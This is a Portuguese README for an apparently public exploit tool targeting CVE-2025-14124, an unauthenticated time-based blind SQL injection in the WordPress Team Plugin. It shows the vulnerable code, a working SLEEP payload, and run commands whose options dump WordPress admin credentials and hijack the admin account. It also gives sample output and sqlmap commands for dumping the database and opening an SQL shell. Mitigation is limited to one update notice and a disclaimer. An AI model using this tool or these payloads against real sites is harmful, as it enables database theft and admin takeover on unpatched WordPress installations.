
Injeção SQL não autenticada (cega baseada em tempo)
Autor: Hyun Chiya
| Campo | Valor |
|---|---|
| ID do CVE | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| Versões Afetadas | < 5.0.11 |
| Tipo de Vulnerabilidade | Injeção SQL não autenticada (Cega Baseada em Tempo) |
| Gravidade | Alta |
O WordPress Team Plugin não sanitiza e escapa corretamente o parâmetro search antes de usá-lo em uma instrução SQL através de uma ação AJAX disponível para usuários não autenticados, levando a uma injeção SQL.
O código vulnerável está em app/Controllers/Frontend/Ajax/LoadMore.php:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Problema: $wpdb->esc_like() apenas escapa curingas LIKE, NÃO metacaracteres de injeção SQL.
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam] deve existirgo build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
| Argumento | Descrição |
|---|---|
-u | URL do WordPress alvo (obrigatório) |
--page-url | URL da página contendo o shortcode tlpteam |
--delay | Segundos SLEEP para detecção (padrão: 1) |
--dump | Extrair informações do banco de dados e credenciais de admin do WordPress |
--create-admin | Tentar sequestrar conta de admin (requer consultas empilhadas) |
--admin-user | Nome de usuário para sequestro de admin (padrão: pwned_admin) |
--admin-pass | Senha para sequestro de admin (padrão: Pwned123!) |
--check-only | Apenas verificar se o plugin está ativo |
--timeout | Timeout de requisição em segundos (padrão: 120) |
--dump)Ao usar --dump, a ferramenta extrairá:
Nota: A extração de dados é lenta devido à natureza da injeção SQL cega baseada em tempo (~5-15 minutos para extração completa).
--create-admin)Tenta alterar a senha do admin existente via SQL UPDATE.
⚠️ Importante: Este modo requer suporte a consultas empilhadas, que normalmente estão desabilitadas em PHP+MySQL. Se consultas empilhadas não forem suportadas, use
--dumppara extrair as credenciais, ou usesqlmap --sql-shellpara execução direta de UPDATE.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
Para exploração avançada, você pode usar sqlmap após confirmar a vulnerabilidade:
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ IMPORTANTE: Atualize o WordPress Team Plugin para a versão 5.0.11 ou posterior, onde a vulnerabilidade foi corrigida com escape SQL adequado usando
$wpdb->prepare().
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.
Hyun Chiya